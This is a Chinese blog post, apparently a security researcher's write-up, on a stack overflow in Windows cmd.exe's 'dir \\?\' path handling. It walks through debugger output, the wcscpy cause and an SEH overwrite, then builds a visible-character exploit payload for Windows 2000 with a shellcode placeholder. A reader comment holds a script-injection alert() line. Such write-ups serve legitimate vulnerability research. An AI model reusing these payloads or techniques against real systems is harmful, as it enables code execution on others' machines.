小心我“DIR”溢出你!
作者:axis
好吧,我承认我昨天是在弄DIR溢出。
不是sharpxxxxx那个。
dir溢出其实有好几个,有的和cmd有关,有的需要特定环境。
我今天整的这个又是一个YY漏洞。
微软一直没有补,因为在微软看来,这个应该不属于漏洞吧,溢出了也提不了权限,顶多算一个bug。
所以很多牛人都不整这个bug,而最近dummy爆了一个暴风影音的0day,也是个unicode的,我只在IE里触发了,不知道在perl脚本下咋触发,后来想起了这个dir漏洞。
我最喜欢做的事情就是整些没用的,仅仅用来YY的东西,时不时自虐一下,所以今天看看这个dir溢出。
在我的xp sp2 cn上,cmd版本
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
首先,触发漏洞:
D:>dir \\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA……(超长)
就溢出了,cmd crash,简单吧
大概200多个A就可以造成溢出。
看看溢出时候的状况:
发现输出的参数: A 经过unicode编码后,一路覆盖到了栈底,异常了~~~
异常时寄存器如下:
停在这里:
77C17EA2 66:8901 MOV WORD PTR DS:[ECX],AX ; //===> EIP指向这里
77C17EA5 41 INC ECX
77C17EA6 41 INC ECX
SEH也被覆盖了:
0013FF30 00410041 A.A.
0013FF34 00410041 A.A. 指向下一个 SEH 记录的指针
0013FF38 00410041 A.A. SE处理程序
0013FF3C 00410041 A.A.
0013FF40 00410041 A.A.
0013FF44 00410041 A.A.
其实栈溢出也好利用,要么覆盖返回地址,要么覆盖seh。
第二次找到漏洞原因,重新设定好断点,触发之:
溢出就发生在这个该死的 wcscpy 里
实际上是 wcscpy( [ebp-210h], [ebp-41C] );
跟进去后:
77C17E94 > 8BFF MOV EDI,EDI
77C17E96 55 PUSH EBP
77C17E97 8BEC MOV EBP,ESP
77C17E99 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8]
77C17E9C 8B55 0C MOV EDX,DWORD PTR SS:[EBP+C]
77C17E9F 66:8B02 MOV AX,WORD PTR DS:[EDX]
77C17EA2 66:8901 MOV WORD PTR DS:[ECX],AX
77C17EA5 41 INC ECX
77C17EA6 41 INC ECX
77C17EA7 42 INC EDX
77C17EA8 42 INC EDX
77C17EA9 66:85C0 TEST AX,AX
77C17EAC ^ 75 F1 JNZ SHORT msvcrt.77C17E9F
77C17EAE 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
77C17EB1 5D POP EBP
77C17EB2 C3 RETN
跟完之后才发现一个见鬼的地方,由于src和dest相距不远,所以在拷贝的过程中,dest把src的末尾的0字节给覆盖掉啦~~ 这样这个拷贝就因为找不到src的0字节而无法结束,所以会一直拷贝下去。
最后的结果就是在栈里有了若干个拷贝的镜像,最后因为一路覆盖到了栈底,所以异常了!
注意看 \.\.?.\. 是分隔不同拷贝的地方
如果这个溢出是发生在堆里,那么就heap spray了,最后会造成内存泄露。
这里是发生在栈里的,那就叫做 stack spray吧!
由于这里肯定会异常,wcscpy根本就无法正常返回,所以覆盖返回地址控制的方法可以不同考虑了。
那么正常人都会想到这里覆盖seh利用
而在这里seh也确实是被我们覆盖掉了。
不过可惜的是,xp sp2已经有了safeseh的保护了。而我们这个漏洞更是可怜的很。
可以看到,加载的模块居然没有一个可以利用的~!
然后诡异的事情发生了,本以为代码页和堆是可以跳转的,结果在这里都不行。
经过测试,唯一能跳转的是内存中属性为 ”RE” 的段,以及cmd.exe自己注册的seh handler
到了这里,基本可以判断在正常情况下这个漏洞在xp sp2下是无法利用的了,当然如果有什么牛人有啥新的利用方法,也请告诉我。
欲知后事如何,且听下回分解。
接着前面来。
在xp sp2 上由于有safeseh所以无法成功利用,那么我们换到win2000。
测试平台:Windows 2000 Server SP4 CN
当我信心满满,摩拳擦掌的来到2000平台时,遭受到了一次严重的打击,把我雷到了~~
win 2000的默认cmd居然没有这个漏洞!
不过,你不能小看我的无耻。
是的,为了达到YY强国的目的,为了彻底的强X DIR,我把XP下的cmd.exe 拷贝 了一份到2000平台,这样就可以正常溢出了。
不过奇怪的是,banner显示的还是5.0 的版本
由于摆脱了safeseh的限制,在2000下我们可以任意跳转到喜欢去的地方
而且更开心的是,到了2000下,可以直接输入不可见字符了(也许是我土,void牛告诉我cmd里按住ctrl,再从小键盘输入数字就可以打不可见字符,不过我的笔记本没小键盘,无法体验了。),只要是双字节的不可见字符(用UltraEdit,进行unicode的16进制编辑即可),拷贝过来直接贴进去就行了。
在我系统上,cmd用的是GBK编码
这样的话,包括覆盖SEH、写shellcode在内,都会非常轻松。
但是在开篇我就说了,我今天是来自虐的,所以我准备用纯可见字符获取控制权。
为了选用合适的nop,可以用unicode的“q”,编码后就是 “7100”
翻译成汇编代码就是:
jno 00
也就起到了nop的作用
而跳转地址,因为是覆盖seh,所以需要 pop/pop/retn 或者是 jmp ebx 类型的。
我选择了 IMM32.dll 里的 0x75e05db0
75E05DB0 5F POP EDI ; ntdll.77FBB272
75E05DB1 5E POP ESI
75E05DB2 C2 0400 RETN 4
这个地址正好是unicode的汉字: “嶰痠”
最妙的是,这个地址当作指令执行也可以起到nop的效果。
但是上篇分析了,这个溢出会循环拷贝,会有很多镜像,所以seh后面并没有给我们留太多的空间。
0012FF34 00710071 q.q. 指向下一个 SEH 记录的指针
0012FF38 75E05DB0 癩鄒 SE处理程序
……
0012FF4C 00710071 q.q.
0012FF50 00710071 q.q.
0012FF54 00710071 q.q.
0012FF58 00710071 q.q.
0012FF5C 00710071 q.q.
0012FF60 00710071 q.q.
0012FF64 00710071 q.q.
0012FF68 00710071 q.q.
0012FF6C 00710071 q.q.
0012FF70 00710071 q.q.
0012FF74 00710071 q.q.
0012FF78 00710071 q.q.
0012FF7C 005C005C \.\. ==> 下一个拷贝开始
0012FF80 005C003F ?.\.
0012FF84 00710071 q.q.
这么一点空间显然不够写太多的东西,所以需要跳到payload的前半部分去执行,以争取更多的写入Shellcode的空间
由于是在追求可见字符,所以在这段跳转的mini code的要求有点特别。
经过寻找,发现经过了 MOV AL, 5D 改变eax后( 75E05DB0中的 B0 5D),
[eax+3]比较符合这个要求,指向的是payload的前部。
所以使用如下的jmp code:
inc eax
inc eax
inc eax
call [eax+0x0h]
nop
经过一些变换后,变成可见字符,SEH跳转后如下:
其中ESI里的地址比较无关紧要,所以NOP的工作就交到了ESI的身上
看看栈里的数据:
0012FF34 00710071 q.q. 指向下一个 SEH 记录的指针
0012FF38 75E05DB0 癩鄒 SE处理程序
0012FF3C 00460040 @.F.
0012FF40 00460040 @.F.
0012FF44 00460040 @.F.
0012FF48 900050FF P.
0012FF4C 00710071 q.q.
如果不看unicode的话,就应该是 @F@F@F僿退
其中 “僿退” 就是 FF500090
也就是
call [eax+0]
NOP
@F则是完成eax+3的工作
后来发现这样做是走了弯路,直接使用
call [eax+0x3h]
NOP
会更简便
这样,unicode就是: FF500390
变成汉字就是: “僿逃”
所以,最终的payload就变成了
dir \\?\qqqqqqqqqqqqqqqqqqqqddddSSSSSSHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHBBqq嶰痠僿逃qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
qqq…. 是NOP, 字母“S”则是shellcode开始的地方
由于覆盖SEH需要 \\?\\AAA(224个A)[SEH handler]AAAAA………….
而我们获取控制后,跳转回去,大概会有390多个字节的空间可以利用,如果计算精确的话,可以有400多个字节能写shellcode(unicode是双字节)。
整个流程如下:
覆盖SEH跳转后:
call [eax+3]后:
6400640064006400 就是payload里的 ”dddd“
把上面的code替换成你自己的Shellcode即可。
至此,我们控制了流程,而且有了400多字节可以写入shellcode的地方
YY完毕。
小心我”DIR”溢出你!
alert(“莫莫到此看看….”)alert(“莫莫到此看看….”)
楼上好强大
楼上好强大